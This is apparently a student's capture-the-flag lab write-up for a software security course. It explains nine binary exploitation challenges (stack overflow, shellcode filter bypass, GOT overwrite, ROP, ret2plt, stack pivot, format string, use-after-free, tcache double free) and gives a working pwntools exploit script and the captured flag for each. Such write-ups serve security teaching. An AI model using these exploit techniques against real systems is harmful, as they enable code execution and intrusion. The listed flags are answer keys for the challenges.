# SWSEC LAB3 Writeup ###### tags: `swsec` `writeup` <style> p:has(img) { text-align: center; } .markdown-body img { max-width: 75%; } </style> ## Stackoverflow ### Recon 保護全開 ![image](https://hackmd.io/_uploads/ry5CloLLp.png =35%x) buf 僅有 8 bytes 但 read 0x20 bytes 雖然有 ASLR 但他把 win 給你了 也透過 write 0x20 把 stack 上的 canary 與 old rbp 一起送給你 ![image](https://hackmd.io/_uploads/S1wjgsUUa.png =50%x) ### Exploit ![image](https://hackmd.io/_uploads/r1q2NHP86.png) Stack 由高位置往低位置長 但寫 char array 是從低到高 因此可以 override 掉 stack frame 中的 rbp / return address 來控制程式流程 把 buf 填滿後 把 canary 照著填回去 然後讓他 return 到 win 即可 另外要注意跑完 main 的 function epilogue 之後 再做 win 的 function prologue stack 會不對齊 0x10 進而導致 `system` 中的 xmm register 相關操作噴 SEGV 因此要跳到 win 底下一點點來跳過 push rbp 的部分 `Stackoverflow/exp.py` ```python from pwn import * context.log_level = 'error' host, port = "10.113.184.121", 10041 r = remote(host, port) r.recvuntil(b"Gift: ") win = int(r.recvline().strip(), 16) r.recvuntil(b"Gift2: ") gift2 = r.recv(0x20) canary = gift2[8:8+8] rbp = gift2[16:16+8] r.send(b"A" * 8 + canary + rbp + p64(win + 5)) # skip push rbp to align stack r.interactive() ``` ![image](https://hackmd.io/_uploads/rkcLfztrT.png) FLAG: `flag{Y0u_know_hoW2L3@k_canAry}` ## Shellcode ### Recon ![image](https://hackmd.io/_uploads/rJ9EFoU86.png) 開了一塊 mmap 記憶體 具可執行權限 (prot = `7` (RWX)) 然後跳過去執行 (`rax` 為 mmap return 的 address) 可以直接寫 shellcode 上去 讓他執行 但若出現 `0xF` 或 `0x5` 會被 patch 成 NULL ### Exploit `syscall` 的 OP code 即為 `0F 05` 因此需要做繞過 這裡透過 XOR 來將 encode 過的 syscall OP code 做 decode 再 jmp 回 decode 好的 syscall 位置 (暫存到 `rbx` 算 offset) `Shellcode/exp.py` ```python from pwn import * r = remote(host, port) syscall = asm("syscall") shellcode = f""" mov rbx, rax /* save address of 'memory' */ {shellcraft.pushstr('/bin/sh')} mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 0x3b jmp .+{hex(len(syscall) + 2)} /* len(asm('jmp ..')) = 2 */ """ payload = asm(shellcode) bypass_syscall = f""" lea rbx, [rbx+{len(payload)}] /* len(payload) */ xor DWORD PTR [rbx], 0x1010 jmp rbx """ payload += xor(syscall, b"\x10") payload += asm(bypass_syscall) r.send(payload + b"\x90" * (0x1000 - len(payload))) # nop r.interactive() ``` ![image](https://hackmd.io/_uploads/H1n-GMtHp.png) FLAG: `flag{How_you_do0o0o0o_sysca1111111}` ## Got ### Recon Partial RELRO ![image](https://hackmd.io/_uploads/BJDS13LLa.png =40%x) ![image](https://hackmd.io/_uploads/ry_DAsUUp.png =60%x) index (v4) 沒有檢查是否為負數 又 arr 在 .bss 可以透過負的 index 讀到 .bss 前面的東西 再改掉其值 比如說 GOT ![image](https://hackmd.io/_uploads/Sko0Cs8LT.png =60%x) 因為 Partial RELRO -> GOT 可寫 所以可以改寫 GOT 成 `system` 來拿 shell ### Exploit 底下有 call `printf("/bin/sh")` 所以把 `printf` 蓋成 `system` 就有 shell 不用再想辦法造 `"/bin/sh"` `printf` 的 GOT 在 `0x4020` `arr` 在 `0x4048` idx = $(\text{0x4020} - \text{0x4048}) / \text{0x8} = -5$ `Got/exp.py` ```python from pwn import * r = remote(host, port) libc = ELF("./libc.so.6") index = (0x4020 - 0x4048) // 8 r.sendlineafter(b"idx: ", str(index).encode()) r.recvuntil(b" = ") printf = int(r.recvline().strip()) libc.address = printf - libc.sym['printf'] r.sendlineafter(b"val: ", str(libc.sym['system']).encode()) r.interactive() ``` ![image](https://hackmd.io/_uploads/ryEWWzYS6.png) FLAG: `flag{Libccccccccccccccccccccccccccc}` ## ROP_RW ### Recon Staically linked binary ![image](https://hackmd.io/_uploads/rkRIQAUU6.png) 有 NX 但沒開 PIE ![image](https://hackmd.io/_uploads/SkIzm0886.png =40%x) ![image](https://hackmd.io/_uploads/Syl9zALUa.png) `v13` 僅有 24 bytes gets 則會讀到 `\n` 或 EOF 才停止 因此可以用來做 BOF ### Exploit 因為 NX 所以需透過 ROP 做攻擊 另外其為 statically linked binary 所以用此 binary 裡的 ROP gadget 即可 ROP gadget 可透過 `ROPgadget` 的 python package 來找 bss 上剛好有個 empty_buf 可以拿來放 `"/bin/sh"` ![image](https://hackmd.io/_uploads/SyMUBAIIa.png) 直接堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell `ROP_RW/exp.py` ```python from pwn import * r = remote(host, port) PADDING = 0x20 BIN_SH_ADDR = 0x4C7320 # empty_buf POP_RAX = 0x450117 POP_RDI = 0x4020af POP_RSI = 0x40a11e POP_RDX_RBX = 0x485e8b MOV_QWORD_PTR_RDI_RDX = 0x4337e3 SYSCALL = 0x401e64 payload = flat([ b'A' * PADDING, b'A' * 0x8, POP_RDI, BIN_SH_ADDR, POP_RDX_RBX, b'/bin/sh\0', b'/bin/sh\0', MOV_QWORD_PTR_RDI_RDX, # write /bin/sh to BIN_SH_ADDR POP_RDX_RBX, 0, 0, POP_RSI, 0, POP_RAX, 59, SYSCALL # execve('/bin/sh', 0, 0) ]) r.sendlineafter(b"> ", payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/SyK6eGFra.png) FLAG: `flag{ShUsHuSHU}` ## ROP_Syscall ### Recon Staically linked binary ![image](https://hackmd.io/_uploads/B1cUbGDUp.png) 有 NX 但沒開 PIE ![image](https://hackmd.io/_uploads/BJR4bGPU6.png =40%x) `v8` 8 bytes 但用 gets 可以做 BOF 有 NX 所以疊 ROP ![image](https://hackmd.io/_uploads/B1KXZGPIT.png =60%x) ### Exploit binary 裡面有 ``"/bin/sh\0"`` ![image](https://hackmd.io/_uploads/SJFDzGD8a.png) 找到字串 address 把 rdi 設過去即可 堆一個 `execve('/bin/sh', 0, 0)` 出來拿 shell `ROP_Syscall/exp.py` ```python from pwn import * r = remote(host, port) PADDING = 0x10 BIN_SH_ADDR = 0x498027 # /bin/sh in binary POP_RAX = 0x450087 POP_RDI = 0x401f0f POP_RSI = 0x409f7e POP_RDX_RBX = 0x485e0b SYSCALL = 0x401cc4 payload = flat([ b'A' * PADDING, b'A' * 0x8, POP_RDI, BIN_SH_ADDR, POP_RDX_RBX, 0, 0, POP_RSI, 0, POP_RAX, 59, SYSCALL # execve('/bin/sh', 0, 0) ]) r.sendlineafter(b"> ", payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/Hk_OefKrp.png) FLAG: `flag{www.youtube.com/watch?v=apN1VxXKio4}` ## ret2plt ### Recon 非 statically linked binary ![image](https://hackmd.io/_uploads/HJX87zDLp.png) 保護只有 NX No RELRO -> GOT 可寫 ![image](https://hackmd.io/_uploads/SJQ4QGwIT.png =40%x) ![image](https://hackmd.io/_uploads/Sk3168DUT.png) `v4` 可以用 gets 做 BOF ### Exploit return 到 PLT 上的 stub 就可 call 該 library function `puts@plt` 會輸出直到 NULL bytes 可以利用它來輸出 GOT 上的位置 (ex. `puts@got`) 來 leak libc base 後面用 `gets@plt` 可以把東西寫回去 這裡把 `puts@got` 寫成 `system` 的 address 另外 `setvbuf@got` 用不到了 借來用 `gets@plt` 把 `"/bin/sh\x00"` 讀上去 後面用 `puts@plt` 來達到 call `system("/bin/sh")` 的效果 `ret2plt/exp.py` ```python from pwn import * r = remote(host, port) libc = ELF("./libc.so.6") PADDING = 0x20 POP_RDI = 0x401263 BIN_SH_ADDR = 0x403380 # setvbuf@got PUTS_GOT = 0x403368 PUTS_PLT = 0x401070 GETS_PLT = 0x401090 payload = flat([ b'A' * PADDING, b'A' * 0x8, POP_RDI, PUTS_GOT, PUTS_PLT, POP_RDI, PUTS_GOT, GETS_PLT, POP_RDI, BIN_SH_ADDR, GETS_PLT, POP_RDI, BIN_SH_ADDR, PUTS_PLT ]) r.sendlineafter(b" :", payload) r.recvuntil(b"boom !\n") puts_addr = int(r.recv(6)[::-1].hex(), 16) print(hex(puts_addr)) libc.address = puts_addr - libc.symbols['puts'] r.sendline(p64(libc.symbols['system'])) r.sendline(b"/bin/sh\x00") r.interactive() ``` ![image](https://hackmd.io/_uploads/rycSefKHa.png) FLAG: `flag{__libc_csu_init_1s_P0w3RFu1l!!}` ## Stack Pivot ### Recon Statically linked binary ![image](https://hackmd.io/_uploads/SJSKXfwUp.png) No PIE ![image](https://hackmd.io/_uploads/HJpYQfwLT.png =40%x) ![image](https://hackmd.io/_uploads/BJbcFtPLT.png) read 超過 `v4` 可以 BOF 但只讀 128 bytes 扣掉 `v4`、canary、old rbp 之後 只能寫 0x50 的 ROP 不太夠用 ### Exploit 將 ROP 分成三段 (orw) 來做 每次都跳回去 `main+0xc` 來重新觸發漏洞 stack 上可能不好控 因此透過 old rbp 來將 stack 整個搬走 (下次 `leave` 時會 `mov rsp, rbp`) 用 bss 上的 `0x4c2700` 跟 `0x4c2900` 來回做 stack pivot <img src=https://hackmd.io/_uploads/By6La1d86.png style="width: 45%"> <img src=https://hackmd.io/_uploads/HJwO6kdLT.png style="width: 45%"> 後來有找到 `pop rdx ; ret` 的 gadget 所以直接先用了 因為 syscall 完不能就射後不理 後面需要有 `ret` 但用 ROPgadget 找不到直接 ret 的 syscall gadget 所以用 objdump 另外翻了一下 ![image](https://hackmd.io/_uploads/SJnZye_8p.png) 只要 syscall 不失敗 `rax` 就不會小於 0 也不會觸發 ja 因此效果等同於 `syscall ; ret` `Stack Pivot/exp.py` ```python from pwn import * r = remote(host, port) PADDING = 0x20 STACK1_RBP = 0x4c2700 STACK2_RBP = 0x4c2900 BIN_SH_ADDR = 0x4C7320 # empty_buf BUF_ADDR = 0x4c2800 READ_AGAIN_ADDR = 0x401ce1 # main+0xc POP_RAX = 0x448d27 POP_RDI = 0x401832 POP_RSI = 0x40f01e POP_RDX = 0x40173f SYSCALL = 0x448280 pivot_payload = flat([ b'A' * PADDING, STACK1_RBP, READ_AGAIN_ADDR ]) r.send(pivot_payload + b"\0" * (0x80 - len(pivot_payload))) open_payload = flat([ b"/home/chal/flag.txt".ljust(PADDING, b"\x00"), STACK2_RBP, POP_RDI, STACK1_RBP - 0x20, POP_RSI, 0, POP_RDX, 0, POP_RAX, 2, # open SYSCALL, READ_AGAIN_ADDR ]) r.send(open_payload + b"\0" * (0x80 - len(open_payload))) read_payload = flat([ b"A" * PADDING, STACK1_RBP, POP_RDI, 3, # fd POP_RSI, BUF_ADDR, POP_RDX, 0x30, # size POP_RAX, 0, # read SYSCALL, READ_AGAIN_ADDR ]) r.send(read_payload + b"\0" * (0x80 - len(read_payload))) write_payload = flat([ b"A" * PADDING, b"A" * 8, POP_RDI, 1, # fd POP_RSI, BUF_ADDR, POP_RDX, 0x30, POP_RAX, 1, # write SYSCALL ]) r.send(write_payload) flag = r.recvline() print(flag.strip().decode()) ``` ![image](https://hackmd.io/_uploads/HkIfgMYBT.png) FLAG: `flag{www.youtube.com/watch?v=VLxvVPNpU04}` ## FMT ### Recon ![image](https://hackmd.io/_uploads/SJ-s7zvLa.png =40%x) 直接 `printf` 使用者輸入 可以透過 format string 來 leak stack 上的東西 ![image](https://hackmd.io/_uploads/Sy5AqKwUa.png =60%x) ### Exploit 先用 `%idx$p` leak stack 上的 return addr 來算 binary base 再算出 `&flag` 並用 `%s` 來把內容印出來 ![image](https://hackmd.io/_uploads/r1Gm0YvIT.png) 可以看到在 `$rsp + 0x138` 的地方有 `main` 的 address 其 idx 為 `5 + (0x0138 // 8 + 1)` (5 是五個 function 參數) 另外印 flag 的部分 是將 address 寫到 stack 上 算好其 offset 算出其 idx 讓前面 format 的部分剛好是 8 bytes 長 就可以用 buf 的 offset 算出 idx 後再 +1 `FMT/exp.py` ```python from pwn import * r = remote(host, port) idx = 5 + (0x0138 // 8 + 1) r.sendline(f"%{idx}$p".encode()) main_addr = int(r.recvline().decode().strip(), 16) binary_base = main_addr - 0x11E9 flag_addr = binary_base + 0x4040 idx = 5 + (0x10 // 8 + 1) # len("%{idx + 1}$s....") = 8 payload = f"%{idx + 1}$s".ljust(8, ".").encode() + p64(flag_addr) r.sendline(payload) flag = r.recvline() print(flag.decode()) ``` ![image](https://hackmd.io/_uploads/SksU1GKHp.png) FLAG: `flag{www.youtube.com/watch?v=Ci_zad39Uhw}` ## UAF ### Recon 保護全開 ![image](https://hackmd.io/_uploads/B133XMDUp.png =40%x) struct 中有 function pointer ![image](https://hackmd.io/_uploads/HkqfxluUT.png =40%x) `register_entity` 會把 malloc 出來的 address 放到 global variable 上 ![image](https://hackmd.io/_uploads/S1bbeguUa.png) 另外 `set_name` 會另外 malloc 一塊記憶體放到 entity chunk 中 ![image](https://hackmd.io/_uploads/Hk-JzauLp.png =50%x) `delete_entity` free 完之後不會清掉 `entities` 上面的值 因此有機會 use after free 蓋掉 function pointer 來執行 function ![image](https://hackmd.io/_uploads/H1-AyxuLT.png =50%x) `trigger_event` 會以 `entity->event` 為參數 call `entity->event_handler` ![image](https://hackmd.io/_uploads/Bki6Ha_86.png) 前面還會直接送你 `system` address 跟第一個 malloc chunk 的 address ![image](https://hackmd.io/_uploads/rk-jexOU6.png =60%x) ### Exploit 他的 free 順序是先 free name 才 free entity 透過 tcache 的 FILO 特性 下次 call `set_name` 時若其 chunk size 與 `entity` 一樣大 就會拿出剛剛 free 的那個 entity 可以隨意更改其內容 把 idx 1 的 entity free 掉 再 `set_name` 0x18 長的資料即可任意寫 `entities[1]` 所指向的 entity 可以透過 `set_name` 來寫 `"/bin/sh"` 並可透過 `gift2` 來算出其在哪個 address 最後將 `entity->event_handler` 寫成 `system` 再將 `entity->event` 寫成 `&"/bin/sh"` `trigger_event` 後就可彈 shell ![image](https://hackmd.io/_uploads/r1DisT_86.png) `register_entity`、`delete_entity`、`set_name` 等 function 請參考壓縮檔中腳本 `UAF/exp.py` ```python from pwn import * r = remote(host, port) r.recvuntil(b"gift1: ") system_addr = int(r.recvline().decode().strip(), 16) r.recvuntil(b"gift2: ") first_chunk_addr = int(r.recvline().decode().strip(), 16) # 0x10 sh_addr = first_chunk_addr + 0x10 + (0x10 + 0x10) + (0x10) register(0) set_name(0, b"/bin/sh") register(1) delete(1) set_name(1, p64(sh_addr) + p64(sh_addr) + p64(system_addr)[:-2]) # strip last \x00 trigger_event(1) # trigger system r.interactive() ``` ![image](https://hackmd.io/_uploads/S1L4kGYHp.png) FLAG: `flag{https://www.youtube.com/watch?v=CUSUhXqThjY}` ## Double Free ### Recon 保護全開 ![image](https://hackmd.io/_uploads/ryjamMw8p.png =40%x) 一開始會先將 flag read 到 idx 0 的 note 上 ![image](https://hackmd.io/_uploads/BJGt1CO8T.png) `get_idx` 會檢查範圍 ![image](https://hackmd.io/_uploads/HkhWF6_IT.png) `notes` 為 global var 有 15 個 `struct note` 裡面存有 malloc 的 address (`add_note`) ![image](https://hackmd.io/_uploads/HyiBOpO8T.png =40%x) ![image](https://hackmd.io/_uploads/By4KupOU6.png) free 完沒有設成 NULL 有機會 UAF (`delete_note`) ![image](https://hackmd.io/_uploads/HkNNOadIa.png) `write_note` 沒有再做 malloc 只有單純 read ![image](https://hackmd.io/_uploads/H1LR_aOUp.png) ### Exploit 在 tcache 中的 chunk data 前 8 bytes 會指到下一個 tcache bin 中的 chunk ![image](https://hackmd.io/_uploads/H1rPTTuLa.png) 透過重複 free 同個 chunk 可以讓 bin 中出現重複的 chunk 這樣第一次 malloc 跟後面再 malloc 就能拿到同個 chunk 這時再改寫 chunk 中的資料來 override next ptr 後 就能讓 malloc 回傳任意的位置 也就是 tcache poisoning ![image](https://hackmd.io/_uploads/BkMDlAdIT.png) free 時要讓 key != tcache 否則會噴 `free(): double free detected in tcache` 前面先用 UAF 來 leak next 以計算 flag chunk 的 offset 這裡讓 malloc return 的位置是放 flag 的 address 再去 `read_note` 因為每次 malloc 時 key 會被清空 所以一次讀前 8 bytes 然後下次讀 `&flag + offset` (offset 每次 +8) `add_note`、`delete_note`、`read_note` 等 function 請參考壓縮檔中腳本 `UAF/exp.py` ```python from pwn import * def get_conn(): return remote(host, port) def tcache_poisoning(offset): global r r = get_conn() add_note(10, 0x10) add_note(11, 0x10) delete_note(10) delete_note(11) # first malloc chunk data chunk_addr = u64(read_note(11, 8)) flag_addr = chunk_addr - 0x10 - 0x30 + offset # double free add_note(1, 0x30) delete_note(1) write_note(1, b"\0" * 0x30) delete_note(1) write_note(1, b"\0" * 0x30) delete_note(1) # overwrite next add_note(1, 0x30) write_note(1, p64(flag_addr) + b"\0" * (0x30 - 8)) add_note(2, 0x30) add_note(3, 0x30) flag = read_note(3, 8) return flag flag = b"" for i in range(0, 0x30, 8): part = tcache_poisoning(i) if sum(part) == 0: break flag += part print(flag.strip(b"\0").strip().decode()) ``` ![image](https://hackmd.io/_uploads/S1UeJftrT.png) FLAG: `flag{a_iU8YeH944}`